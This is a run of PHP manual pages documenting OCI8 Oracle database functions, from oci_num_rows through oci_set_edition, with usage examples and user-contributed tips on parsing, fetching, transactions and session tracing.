$conn = oci_connect("scott", "tiger");

$stmt = oci_parse($conn, "create table emp2 as select * from emp");
oci_execute($stmt);
echo oci_num_rows($stmt) . " rows inserted.<br />";
oci_free_statement($stmt);

$stmt = oci_parse($conn, "delete from emp2");
oci_execute($stmt, OCI_DEFAULT);
echo oci_num_rows($stmt) . " rows deleted.<br />";
oci_commit($conn);
oci_free_statement($stmt);

$stmt = oci_parse($conn, "drop table emp2");
oci_execute($stmt);
oci_free_statement($stmt);

oci_close($conn);
?>

Notes

Note:

This function does not return number of rows selected! For SELECT statements this function will return the number of rows, that were fetched to the buffer with oci_fetch*() functions.

Note:

In PHP versions before 5.0.0 you must use ocirowcount() instead. This name still can be used, it was left as alias of oci_num_rows() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

pluueer at hotmail dot com 20-Apr-2010 02:51
If you want to return te number of rows without fetching all data it might by more efficient to use this code (correct me if I'm wrong):

$sql_query = 'SELECT COUNT(*) AS NUMBER_OF_ROWS FROM (' . $your_query . ')';

$stmt= oci_parse($conn, $sql_query);

oci_define_by_name($stmt, 'NUMBER_OF_ROWS', $number_of_rows);

oci_execute($stmt);

oci_fetch($stmt);

echo $number_of_rows;
sontung2603 at yahoo dot com 17-Feb-2006 02:35
hello,
here'is an example  who works:

$connexion = ("name_bd","pass_db");  //set up connexion on database
$query="select * from order ";   // query for the test
$parse = ociparse($connexion,$query);   // parse query
ociexecute($pase);   // execute the query on server (on temporary memory)
ocifetchstatement($pase,$tab_result);  // the result will be fetched in the table $tab_result
echo ocirowcount($parse);  // show the numbers of result

/**** and if you want to posting the results of query ***/
$count = count($tab_result);
for($i=0;$i<=$count;$i++)
{
     echo $tab_result[$i]."<br>";
}

you can also do it with the function ociresult():

while(ocifetch($parse))
{
    echo ociresult($parse,"[capital letter of the name of feild that you want to show on naviator]");
}

Attention : all of name of tables on oracle database are in capital letter when you use an other application for connect to it.
example :

to select the field no_client on table client, on your script of posting, you should write :

echo ociresult($parse,"NO_CLIENT");

not :

echo ociresult($parse,"no_client");

//end

Enjoy
justin at flakmag dot com 26-Aug-2000 06:59
It appears the easiest workaround if you want to get numrows without moving to the end of the result set is to use:

numrows = OCIFetchStatement(...);
OCIExecute(...);

So that the execute re-executes the query. It's horribly inefficient to query twice, but it works.
batti at digito dot com 16-Feb-2000 08:52
this function can be used with select statement, and also return affected number of rows.
But remember this, use this after fetch statement.
oci_num_fields
oci_parse
OCI8 Functions


Prepares an Oracle statement for execution

oci_num_rows
oci_password_change
OCI8 Functions
PHP Manual

oci_parse

(PHP 5, PECL OCI8 >= 1.1.0)

oci_parse — Prepares an Oracle statement for execution

Description

resource oci_parse ( resource $connection , string $sql_text )

Prepares sql_text using connection and returns the statement identifier, which can be used with oci_bind_by_name(), oci_execute() and other functions.

Statement identifiers can be freed with oci_free_statement() or by setting the variable to NULL.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

sql_text

The SQL or PL/SQL statement.

SQL statements should not end with a semi-colon (";"). PL/SQL statements should end with a semi-colon (";").

Return Values

Returns a statement handle on success, or FALSE on error.

Examples

Example #1 oci_parse() example for SQL statements

<?php

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

// Parse the statement. Note there is no final semi-colon in the SQL statement
$stid = oci_parse($conn, 'SELECT * FROM employees');
oci_execute($stid);

echo "<table border='1'>\n";
while ($row = oci_fetch_array($stid, OCI_ASSOC+OCI_RETURN_NULLS)) {
    echo "<tr>\n";
    foreach ($row as $item) {
        echo "    <td>" . ($item !== null ? htmlentities($item, ENT_QUOTES) : "&nbsp;") . "</td>\n";
    }
    echo "</tr>\n";
}
echo "</table>\n";

?>

Example #2 oci_parse() example for PL/SQL statements

<?php

/*
  Before running the PHP program, create a stored procedure in
  SQL*Plus or SQL Developer:

  CREATE OR REPLACE PROCEDURE myproc(p1 IN NUMBER, p2 OUT NUMBER) AS
  BEGIN
      p2 := p1 * 2;
  END;

*/

$conn = oci_connect('hr', 'welcome', 'localhost/XE');
if (!$conn) {
    $e = oci_error();
    trigger_error(htmlentities($e['message'], ENT_QUOTES), E_USER_ERROR);
}

$p1 = 8;

// When parsing PL/SQL programs, there should be a final semi-colon in the string
$stid = oci_parse($conn, 'begin myproc(:p1, :p2); end;');
oci_bind_by_name($stid, ':p1', $p1);
oci_bind_by_name($stid, ':p2', $p2, 40);

oci_execute($stid);

print "$p2\n";   // prints 16

oci_free_statement($stid);
oci_close($conn);

?>

Notes

Note:

This function does not validate sql_text. The only way to find out if sql_text is a valid SQL or PL/SQL statement is to execute it.

Note:

In PHP versions before 5.0.0 use ociparse() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_execute() - Executes a statement
  • oci_free_statement() - Frees all resources associated with statement or cursor

User Contributed Notes

falundir at gmail dot com 08-Feb-2011 05:38
When you want to call stored function (and want to read its result) which executes DML queries (insert, update, delete) inside its body you can't use "select your_stored_function(:param1, :param2) from dual" because you will receive "ORA-14551: cannot perform a DML operation inside a query" error.

In order to call such function and get its result you need to wrap it into nested procedure with OUT parameter like this:

DECLARE
  PROCEDURE caller(return_value OUT NUMBER) AS
  BEGIN
    return_value := your_stored_function(:param1, :param2);
  END;
BEGIN
  caller(:return_value);
END;

and bind to :return_value variable to get the result of function.
michael dot virnstein at brodos dot de 04-Dec-2007 08:43
A neat way to parse a query only once per script, if the query is done inside a function:

<?php
function querySomething($conn, $id)
{
    static $stmt;

    if (is_null($stmt)) {
        $stmt = oci_parse($conn, 'select * from t where pk = :id');
    }

    oci_bind_by_name($stmt, ':id', $id, -1);

    oci_execute($stmt, OCI_DEFAULT);

    return oci_fetch_array($stmt, OCI_ASSOC);

}

?>

With the static variable, the statment handle isn't closed after the function has terminated. Very nice for functions that are called e.g. in loops. Unfortunately this only works for static sql. If you have dynamic sql, you can do the following:

<?php

function querySomething($conn, $data)
{
    static $stmt = array();

    $first = true;

    $query = 'select * from t';

    foreach ($data as $key => $value) {
        if ($first) {
            $first = false;
            $query .= ' where ';
        } else {
            $query .= ' and ';
        }

        $query .= "$key = :b$key";
    }

    $queryhash = md5($query);

    if (is_null($stmt[$queryhash])) {
        $stmt[$queryhash] = oci_parse($conn, $query);
    }

    foreach ($data as $key => $value) {
        // don't use $value, because we bind memory addresses here.
        // this would result in every bind pointing at the same value after foreach
        oci_bind_by_name($stmt[$queryhash], ":b$key", $data[$key], -1);
    }

    oci_execute($stmt[$queryhash], OCI_DEFAULT);

    return oci_fetch_array($stmt[$queryhash], OCI_ASSOC);

}

?>
26-Jan-2006 04:05
one of the most things that is done wrong with oracle is the following.

Cosider:

<?php
$dbh = ocilogon('user', 'pass', 'db');

for ($i = 0; $i<=10; $i++) {
    $sth = ociparse($dbh, 'SELECT * FROM T WHERE x = :x');

    ocibindbyname($sth, ':x', $i, -1);
    ociexecute($sth, OCI_DEFAULT);
    if (ocifetchrow($sth, $row, OCI_ASSOC+OCI_RETURN_NULLS)) {
        var_dump($row);
    }
}

ocilogoff($dbh);
?>

Problem here is, that you parse the same statement over and over and that'll cost ressources and will introduce many wait events. This problem will increase exponentially with the number of users using your system. That's one of the things besides not using bind variables that will prevent your application from scaling well.

The right approach:

<?php
$dbh = ocilogon('user', 'pass', 'db');
$sth = ociparse($dbh, 'SELECT * FROM T WHERE x = :x');
for ($i = 0; $i<=10; $i++) {
    ocibindbyname($sth, ':x', $i, -1);
    ociexecute($sth, OCI_DEFAULT);
    if (ocifetchrow($sth, $row, OCI_ASSOC+OCI_RETURN_NULLS)) {
        var_dump($row);
    }
}
ocilogoff($dbh);
?>

Now we are parsing the statement once and using it as often as possible.

When your using Oracle, create proper indexes, use bind variables and parse once and execute often. Not doing so will get you into trouble when more than a few users are working with your application simultaneously.
kurt at kovac dot ch 04-May-2004 08:40
For those that are having trouble with error checking, i have noticed on a lot of sites that people are trying to check the statement handle for error messages with OCIParse. Since the statement handle ($sth) is not created yet, you need to check the database handle ($dbh) for any errors with OCIParse. For example:

instead of:

<?php
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($stmt);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}
?>

use:

<?php
$stmt = OCIParse($conn, $query);
if (!$stmt) {
   $oerr = OCIError($conn);
   echo "Fetch Code 1:".$oerr["message"];
   exit;
}
?>

Hope this helps someone.
jicurito at hotmail dot com 09-Dec-2003 04:41
regarding egypt note on double quotes, the reason for that behaviour is that Oracle treats things with double quotes as identifiers on a given statement... using single quotes won't provoque mistakes...
egypt at nmt dot edu 14-Oct-2003 07:31
Whereas MySQL doesn't care what kind of quotes are around a LIKE clause, ociexecute gives the error:
    ociexecute(): OCIStmtExecute: ORA-00904: "NM": invalid identifier
for the following.
<?php
$sql  = "SELECT * FROM addresses "
      . "WHERE state LIKE \"NM\"";  // error!
$stmt = ociparse($conn, $sql);
ociexecute($stmt);
?>

it's fine if you just use single quotes:
    . "WHERE state LIKE 'NM'";
but i think it's interesting that ociparse doesn't say anything
mwd at modulo3 dot de 22-Dec-2000 07:21
if you're using "complex" statements e.g such having calls to build in oracle functions in the select list (as in example below), I did not find any other way as using the "AS <Name>" clause to being able to output the functions outcome using ociresult

example:

<?php
ociparse($conn,"select EMPNO, LPAD(' ', 2*(LEVEL-1)) || ENAME AS COMPLETE_FANTASY_NAME, JOB, HIREDATE from scott.emp start with job='MANAGER' connect by PRIOR EMPNO = MGR");

echo ociresult $stmt,"COMPLETE_FANTASY_NAME")." ";
?>

BTW: I also found out by TAE that "COMPLETE_FANATASY_NAME" might not be "complete fantasy" as it has to be all capital letters.
oci_num_rows
oci_password_change
OCI8 Functions


Changes password of Oracle's user

oci_parse
oci_pconnect
OCI8 Functions
PHP Manual

oci_password_change

(PHP 5, PECL OCI8 >= 1.1.0)

oci_password_change — Changes password of Oracle's user

Description

bool oci_password_change ( resource $connection , string $username , string $old_password , string $new_password )
resource oci_password_change ( string $dbname , string $username , string $old_password , string $new_password )

Changes password for user with username.

The oci_password_change() function is most useful for PHP command-line scripts, or when non-persistent connections are used throughout the PHP application.

Parameters

connection

An Oracle connection identifier, returned by oci_connect() or oci_pconnect().

username

The Oracle user name.

old_password

The old password.

new_password

The new password to be set.

dbname

The database name.

Return Values

Returns TRUE on success or FALSE on failure.

Notes

Note:

Changing the password either with this function or directly in Oracle should be done carefully. This is because PHP applications may continue to successfully reuse persistent connections by authenticating with the old password. The best practice is to restart all web servers whenever the user password is changed.

Note:

If upgrading the Oracle client libraries or the database from a release prior to 11.2.0.3 to version 11.2.0.3 or higher, oci_password_change() may give the error "ORA-1017: invalid username/password" unless both client and server versions are upgraded at the same time.

Note: The second oci_password_change() syntax is available since OCI8 version 1.1.

Note:

In PHP versions before 5.0.0 you must use ocipasswordchange() instead. This name still can be used, it was left as alias of oci_password_change() for downwards compatability. This, however, is deprecated and not recommended.

User Contributed Notes

There are no user contributed notes for this page.
oci_parse
oci_pconnect
OCI8 Functions


Connect to an Oracle database using a persistent connection

oci_password_change
oci_result
OCI8 Functions
PHP Manual

oci_pconnect

(PHP 5, PECL OCI8 >= 1.1.0)

oci_pconnect — Connect to an Oracle database using a persistent connection

Description

resource oci_pconnect ( string $username , string $password [, string $connection_string [, string $character_set [, int $session_mode ]]] )

Creates a persistent connection to an Oracle server and logs on.

Persistent connections are cached and re-used between requests, resulting in reduced overhead on each page load; a typical PHP application will have a single persistent connection open against an Oracle server per Apache child process (or PHP FastCGI/CGI process). See the Persistent Database Connections section for more information.

Parameters

username

The Oracle user name.

password

The password for username.

connection_string

Contains the Oracle instance to connect to. It can be an » Easy Connect string, or a Connect Name from the tnsnames.ora file, or the name of a local Oracle instance.

If not specified, PHP uses environment variables such as TWO_TASK (on Linux) or LOCAL (on Windows) and ORACLE_SID to determine the Oracle instance to connect to.

To use the Easy Connect naming method, PHP must be linked with Oracle 10g or greater Client libraries. The Easy Connect string for Oracle 10g is of the form: [//]host_name[:port][/service_name]. With Oracle 11g, the syntax is: [//]host_name[:port][/service_name][:server_type][/instance_name]. Service names can be found by running the Oracle utility lsnrctl status on the database server machine.

The tnsnames.ora file can be in the Oracle Net search path, which includes $ORACLE_HOME/network/admin and /etc. Alternatively set TNS_ADMIN so that $TNS_ADMIN/tnsnames.ora is read. Make sure the web daemon has read access to the file.

character_set

Determines the character set used by the Oracle Client libraries. The character set does not need to match the character set used by the database. If it doesn't match, Oracle will do its best to convert data to and from the database character set. Depending on the character sets this may not give usable results. Conversion also adds some time overhead.

If not specified, the Oracle Client libraries determine a character set from the NLS_LANG environment variable.

Passing this parameter can reduce connection time.

session_mode

This parameter is available since version PHP 5 (PECL OCI8 1.1) and accepts the following values: OCI_DEFAULT, OCI_SYSOPER and OCI_SYSDBA. If either OCI_SYSOPER or OCI_SYSDBA were specified, this function will try to establish privileged connection using external credentials. Privileged connections are disabled by default. To enable them you need to set oci8.privileged_connect to On.

PHP 5.3 (PECL OCI8 1.3.4) introduced the OCI_CRED_EXT mode value. This tells Oracle to use External or OS authentication, which must be configured in the database. The OCI_CRED_EXT flag can only be used with username of "/" and a empty password. oci8.privileged_connect may be On or Off.

OCI_CRED_EXT may be combined with the OCI_SYSOPER or OCI_SYSDBA modes.

OCI_CRED_EXT is not supported on Windows for security reasons.

Return Values

Returns a connection identifier or FALSE on error.

Notes

Note: Starting with PHP 5.1.2 and PECL oci8 1.1, the lifetime and maximum number of persistent Oracle connections can be tuned by setting the following configuration values: oci8.persistent_timeout, oci8.ping_interval and oci8.max_persistent.

Note:

In PHP versions before 5.0.0 you must use ociplogon() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_connect() - Connect to an Oracle database
  • oci_new_connect() - Connect to the Oracle server using a unique connection

User Contributed Notes

php at jaggard dot org dot uk 09-Oct-2008 09:38
[Editor's note: OCI8 1.3 should not experience the problem described in this user comment. The first use of such a connection will return an Oracle error which will trigger a cleanup in PHP.  Subsequent persistent connection calls will then succeed.  For high availability you might consider doing consecutive oci_pconnect calls in your script.]

If you connect using oci_pconnect and the connection has logged you off but is still valid, there seems to be no way to re-use that connection. The next time I try oci_pconnect and then perform an oci_execute operation, I get a "ORA-01012: not logged on" warning. This problem remains, even if I close the connection using oci_close. I ended up with the following (rather annoying) code.

<?php
    function getOracleConnection()
    {
      if (!function_exists('oci_pconnect'))
        return false;
      $toReturn = oci_pconnect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      if (!function_exists('oci_connect'))
        return false;
      $toReturn = oci_connect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      if (!function_exists('oci_new_connect'))
        return false;
      $toReturn = oci_new_connect('user', 'pass', 'db');
      if ($testRes = @oci_parse($toReturn, 'SELECT Count(group_type_code) FROM pvo.group_type'))
        if (@oci_execute($testRes))
          if (@oci_fetch_array($testRes))
            return $toReturn;
      oci_close($toReturn);
      return false;
    }
?>
alvaro at demogracia dot com 11-Sep-2008 08:54
If oci_pconnect() fails it raises a PHP warning.
oci_password_change
oci_result
OCI8 Functions


Returns field's value from the fetched row

oci_pconnect
oci_rollback
OCI8 Functions
PHP Manual

oci_result

(PHP 5, PECL OCI8 >= 1.1.0)

oci_result — Returns field's value from the fetched row

Description

mixed oci_result ( resource $statement , mixed $field )

Returns the data from field in the current row, fetched by oci_fetch().

For details on the data type mapping performed by the OCI8 extension, see the datatypes supported by the driver

Parameters

statement

field

Can be either use the column number (1-based) or the column name (in uppercase).

Return Values

Returns everything as strings except for abstract types (ROWIDs, LOBs and FILEs). Returns FALSE on error.

Notes

Note:

In PHP versions before 5.0.0 you must use ociresult() instead. This name still can be used, it was left as alias of oci_result() for downwards compatability. This, however, is deprecated and not recommended.

See Also

  • oci_fetch_array() - Returns the next row from a query as an associative or numeric array
  • oci_fetch_assoc() - Returns the next row from a query as an associative array
  • oci_fetch_object() - Returns the next row from a query as an object
  • oci_fetch_row() - Returns the next row from a query as a numeric array
  • oci_fetch_all() - Fetches multiple rows from a query into a two-dimensional array

User Contributed Notes

luismanuelp at gmail dot com 26-Aug-2005 08:05
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
gabi at gambita dot de 01-Sep-2003 09:31
if you want to join two tables having both the same column (e.g. 'id') but you don't want to (or cannot) specify all the other fields in these two tables (like erabbott mentioned), you can use:

SELECT t1.*, t2.*, t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;

Note that this does _not_ work:

SELECT *,t1.id AS id1, t2.id AS id2
FROM table1 t1, table2 t2;
jthome at fcgov dot com 10-Feb-2003 02:56
FYI--

In order to modify Oracle dates (using NLS_DATE_FORMAT...), you must set $ORACLE_HOME first.  This environmental variable is best set in the server startup script (i.e., ./apachectl)

--
Jim
erabbott at NOSPAMterra dot com dot br 27-Sep-2002 07:22
As in my previous post, the same thing applies when using conversion functions in CLOB columns.

Probably the same thing will occur to any conversion function that you use.

So, this wont work

SELECT ... TO_CHAR(MY_CLOB) ...

$my_clob = OCIResult($stmt,"MY_CLOB");

But this will:

SELECT ... TO_CHAR(MY_CLOB) AS MYC ...

$my_clob = OCIResult($stmt,"MYC");

Best regards.
erabbott at NOSPAMterra dot com dot br 26-Sep-2002 03:35
Note that if you are making multiple table selects, you must specify an alias to each column.

This wont work:
----------------------------------------
$qry = "SELECT A.COL_ONE, B.COL_ONE FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
    $a = OCIResult($stmt, "A.COL_ONE");
...
----------------------------------------

But this will:
----------------------------------------
$qry = "SELECT A.COL_ONE AS X, B.COL_ONE AS Y FROM TABLE1 A, TABLE2 B";
$stmt = OCIParse($conn, $qry);

while(OCIFetch($stmt))
{
    $a = OCIResult($stmt, "X");
...
----------------------------------------

Regards,
steve dot hurst at instem-lss dot co dot uk 28-Mar-2002 07:35
I am trying to get a list of the first character of a character string.

SELECT distinct substr(version,1,1) as COL1 FROM SPHVVERS where Version is not null order by 1

This was working and then failed recently. I think it is because some of the strings now added contain a number as the first character.

I found to get it to work I had to use decode statement. (To_Char did not work )

SELECT distinct decode (substr(version,1,1),'1','?','0','!',substr(version,1,1)) as COL1 FROM SPHVVERS where Version is not null order by 1
dwilson at cae dot wisc dot edu 16-Apr-2001 06:05
I complained that I couldn't get the time from an Oracle date field.  Joe Brown said:

This is not a PHP bug.

Consider setting NLS_DATE_FORMAT.

The manual states OCIResult() returns everything as a string.
NLS_DATE_FORMAT may not be appropriate for your needs.

There are quite a few places you can set NLS_DATE_FORMAT.
* Environment variables (or windows registry on win32)
* orclSID.ora
* on a per session basis; execute this statement after logon:

$cursor=OCIParse($connection,
 "ALTER SESSION SET NLS_DATE_FORMAT='YYYY-MM-DD HH24:MI:SS'");
OCIExecute($cursor);
OCIFreeCursor($cursor);
shayman at quiver dot com 30-Aug-2000 09:09
As this function gets a 'mixed' variable type for the column index, you may use an integer to represent the column number. In this case, the count is starting from 1 and not from zero.
I am not sure, but I think this method is a bit faster than using the column name.
For an example, see the OCINumCols first example.
Maxwell_Smart at ThePentagon dot com 18-Aug-2000 04:49
On the column names needing to be all caps. Just a guess.

Oracle is case sensitive when columns are created with quotes around them. When they are created without quotes around them, they are case insensitive. However, Oracle will always display them as being all caps.

If PHP referes to a column, it probably gets the case from Oracle. Then since PHP is case sensitive, you have ot supply it in all caps.
dominic dot standage at revolutionltd dot com 16-Sep-1999 05:43
OCIResult() requires the column name to be written in capitals, so OCIResult($stmt,"column") won't work, but OCIResult($stmt,"COLUMN") works fine. Hope that helps somebody out
oci_pconnect
oci_rollback
OCI8 Functions


Rolls back the outstanding database transaction

oci_result
oci_server_version
OCI8 Functions
PHP Manual

oci_rollback

(PHP 5, PECL OCI8 >= 1.1.0)

oci_rollback — Rolls back the outstanding database transaction

Description

bool oci_rollback ( resource $connection )

Reverts all uncommitted changes for the Oracle connection and ends the transaction. It releases all locks held. All Oracle SAVEPOINTS are erased.

A transaction begins when the first SQL statement that changes data is executed with oci_execute() using the OCI_NO_AUTO_COMMIT flag. Further data changes made by other statements become part of the same transaction. Data changes made in a transaction are temporary until the transaction is committed or rolled back. Other users of the database will not see the changes until they are committed.

When inserting or updating data, using transactions is recommended for relational data consistency and for performance reasons.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect() or oci_new_connect().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 oci_rollback() example

<?php

// Insert into several tables, rolling back the changes if an error occurs

$conn = oci_connect('hr', 'welcome', 'localhost/XE');

$stid = oci_parse($conn, "INSERT INTO mysalary (id, name) VALUES (1, 'Chris')");

// The OCI_NO_AUTO_COMMIT flag tells Oracle not to commit the INSERT immediately
// Use OCI_DEFAULT as the flag for PHP <= 5.3.1.  The two flags are equivalent
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

$stid = oci_parse($conn, 'INSERT INTO myschedule (startday) VALUES (12)');
$r = oci_execute($stid, OCI_NO_AUTO_COMMIT);
if (!$r) {
    $e = oci_error($stid);
    oci_rollback($conn);  // rollback changes to both tables
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

// Commit the changes to both tables
$r = oci_commit($conn);
if (!r) {
    $e = oci_error($conn);
    trigger_error(htmlentities($e['message']), E_USER_ERROR);
}

?>

Example #2 Rolling back to a SAVEPOINT example

<?php
$stid = oci_parse($conn, 'UPDATE mytab SET id = 1111');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

// Create the savepoint
$stid = oci_parse($conn, 'SAVEPOINT mysavepoint');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

$stid = oci_parse($conn, 'UPDATE mytab SET id = 2222');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

// Use an explicit SQL statement to rollback to the savepoint
$stid = oci_parse($conn, 'ROLLBACK TO SAVEPOINT mysavepoint');
oci_execute($stid, OCI_NO_AUTO_COMMIT);

oci_commit($conn);  // mytab now has id of 1111
?>

Notes

Note:

Transactions are automatically rolled back when you close the connection, or when the script ends, whichever is soonest. You need to explicitly call oci_commit() to commit the transaction.

Any call to oci_execute() that uses OCI_COMMIT_ON_SUCCESS mode explicitly or by default will commit any previous uncommitted transaction.

Any Oracle DDL statement such as CREATE or DROP will automatically commit any uncommitted transaction.

Note:

In PHP versions before 5.0.0 you must use ocirollback() instead. The old function name can still be used in current versions, however it is deprecated and not recommended.

See Also

  • oci_commit() - Commits the outstanding database transaction
  • oci_execute() - Executes a statement

User Contributed Notes

There are no user contributed notes for this page.
oci_result
oci_server_version
OCI8 Functions


Returns the Oracle Database version

oci_rollback
oci_set_action
OCI8 Functions
PHP Manual

oci_server_version

(PHP 5, PECL OCI8 >= 1.1.0)

oci_server_version — Returns the Oracle Database version

Description

string oci_server_version ( resource $connection )

Returns a string with the Oracle Database version and available options

Parameters

connection

Return Values

Returns the version information as a string or FALSE on error.

Examples

Example #1 oci_server_version() example

<?php
    $conn = oci_connect("scott", "tiger");
    echo "Server Version: " . oci_server_version($conn);

    // Displays:
    // Server Version: Oracle Database 11g Enterprise Edition Release 11.2.0.1.0 - 64bit Production
    // With the Partitioning, OLAP, Data Mining and Real Application Testing option

    oci_close($conn);

?>

Notes

Note:

In PHP versions before 5.0.0 you must use ociserverversion() instead. This old name still can be used. However it is deprecated and not recommended.

See Also

  • oci_client_version() - Returns the Oracle client library version

User Contributed Notes

There are no user contributed notes for this page.
oci_rollback
oci_set_action
OCI8 Functions


Sets the action name

oci_server_version
oci_set_client_identifier
OCI8 Functions
PHP Manual

oci_set_action

(PHP 5.3.2, PECL OCI8 >= 1.4.0)

oci_set_action — Sets the action name

Description

bool oci_set_action ( resource $connection , string $action_name )

Sets the action name for Oracle tracing.

The action name is registered with the database when the next 'roundtrip' from PHP to the database occurs, typically when an SQL statement is executed.

The action name can subsequently be queried from database administration views such as V$SESSION. It can be used for tracing and monitoring such as with V$SQLAREA and DBMS_MONITOR.SERV_MOD_ACT_STAT_ENABLE.

The value may be retained across persistent connections.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

action_name

User chosen string up to 32 bytes long.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting the action

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Record the action
oci_set_action($c, 'Friend Lookup');

// Code that causes a roundtrip, for example a query:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// While the script is running, the administrator can see the actions
// being performed:

sqlplus system/welcome
SQL> select action from v$session;

Notes

Note: Oracle version requirement

This function is available when PHP is linked with Oracle Database libraries from version 10g onwards.

Tip

Performance

With older versions of OCI8 or the Oracle Database, the client information can be set using the Oracle DBMS_APPLICATION_INFO package. This is less efficient than using oci_set_client_info().

Caution

Roundtrip Gotcha

Some but not all OCI8 functions cause roundtrips. Roundtrips to the database may not occur with queries when result caching is enabled.

See Also

  • oci_set_module_name() - Sets the module name
  • oci_set_client_info() - Sets the client information
  • oci_set_client_identifier() - Sets the client identifier

User Contributed Notes

There are no user contributed notes for this page.
oci_server_version
oci_set_client_identifier
OCI8 Functions


Sets the client identifier

oci_set_action
oci_set_client_info
OCI8 Functions
PHP Manual

oci_set_client_identifier

(PHP 5.3.2, PECL OCI8 >= 1.4.0)

oci_set_client_identifier — Sets the client identifier

Description

bool oci_set_client_identifier ( resource $connection , string $client_identifier )

Sets the client identifier used by various database components to identify lightweight application users who authenticate as the same database user.

The client identifier is registered with the database when the next 'roundtrip' from PHP to the database occurs, typically when an SQL statement is executed.

The identifier can subsequently be queried from database administration views such as V$SESSION. It can be used with DBMS_MONITOR.CLIENT_ID_TRACE_ENABLE for tracing. It can be used for auditing.

The value may be retained across persistent connections.

Parameters

connection

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

client_identifier

User chosen string up to 64 bytes long.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting the client identifier to the application user

<?php

// Find the application user's login name
session_start();
$un = my_validate_session($_SESSION['username']);
$c = oci_connect('myschema', 'welcome', 'localhost/XE');

// Tell Oracle who that user is
oci_set_client_identifier($c, $un);

// The next roundtrip to the database will piggyback the identifier
$s = oci_parse($c, 'select mydata from mytable');
oci_execute($s);

// ...

?>

Notes

Caution

Roundtrip Gotcha

Some but not all OCI8 functions cause roundtrips. Roundtrips to the database may not occur with queries when result caching is enabled.

See Also

  • oci_set_module_name() - Sets the module name
  • oci_set_action() - Sets the action name
  • oci_set_client_info() - Sets the client information

User Contributed Notes

sixd at php dot net 18-Apr-2011 04:22
There's an article "PHP Web Auditing, Authorization and Monitoring with Oracle Database" at www.oracle.com/technetwork/articles/dsl/php-web-auditing-171451.html which is all about using oci_set_client_identifier()
oci_set_action
oci_set_client_info
OCI8 Functions


Sets the client information

oci_set_client_identifier
oci_set_edition
OCI8 Functions
PHP Manual

oci_set_client_info

(PHP 5.3.2, PECL OCI8 >= 1.4.0)

oci_set_client_info — Sets the client information

Description

bool oci_set_client_info ( resource $connection , string $client_info )

Sets the client information for Oracle tracing.

The client information is registered with the database when the next 'roundtrip' from PHP to the database occurs, typically when an SQL statement is executed.

The client information can subsequently be queried from database administration views such as V$SESSION.

The value may be retained across persistent connections.

Parameters

An Oracle connection identifier, returned by oci_connect(), oci_pconnect(), or oci_new_connect().

User chosen string up to 64 bytes long.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Setting the client information

<?php

$c = oci_connect('hr', 'welcome', 'localhost/XE');

// Record the client information
oci_set_client_info($c, 'My Application Version 2');

// Code that causes a roundtrip, for example a query:
$s = oci_parse($c, 'select * from dual');
oci_execute($s);
oci_fetch_all($s, $res);

sleep(30);

?>
// While the script is running, the administrator can see the client
// information:

sqlplus system/welcome
SQL> select client_info from v$session;

Notes

Note: Oracle version requirement

This function is available when PHP is linked with Oracle Database libraries from version 10g onwards.

Tip

Performance

With older versions of OCI8 or the Oracle Database, the client information can be set using the Oracle DBMS_APPLICATION_INFO package. This is less efficient than using oci_set_client_info().

Caution

Roundtrip Gotcha

Some but not all OCI8 functions cause roundtrips. Roundtrips to the database may not occur with queries when result caching is enabled.

See Also

  • oci_set_module_name() - Sets the module name
  • oci_set_action() - Sets the action name
  • oci_set_client_identifier() - Sets the client identifier

User Contributed Notes

There are no user contributed notes for this page.
oci_set_client_identifier
oci_set_edition
OCI8 Functions


Sets the database edition

oci_set_client_info
oci_set_module_name
OCI8 Functions
PHP Manual

oci_set_edition

(PHP 5.3.2, PECL OCI8 >= 1.4.0)

oci_set_edition — Sets the database edition

Description

bool oci_set_edition ( string $edition )

Sets the database "edition" of objects to be used by a subsequent connections.

Oracle Editions allow concurrent versions of applications to run using the same schema and object names. This is useful for upgrading live systems.

Call oci_set_edition() before calling
oci_connect(), oci_pconnect()
or oci_new_connect().

If an edition is set that is not valid in the database, connection will fail even if oci_set_edition() returns success.

When using persistent connections, if a connection with the requested edition setting already exists, it is reused. Otherwise, a different persistent connection is created

Parameters

edition

Oracle Database edition name previously created with the SQL "CREATE EDITION" command.

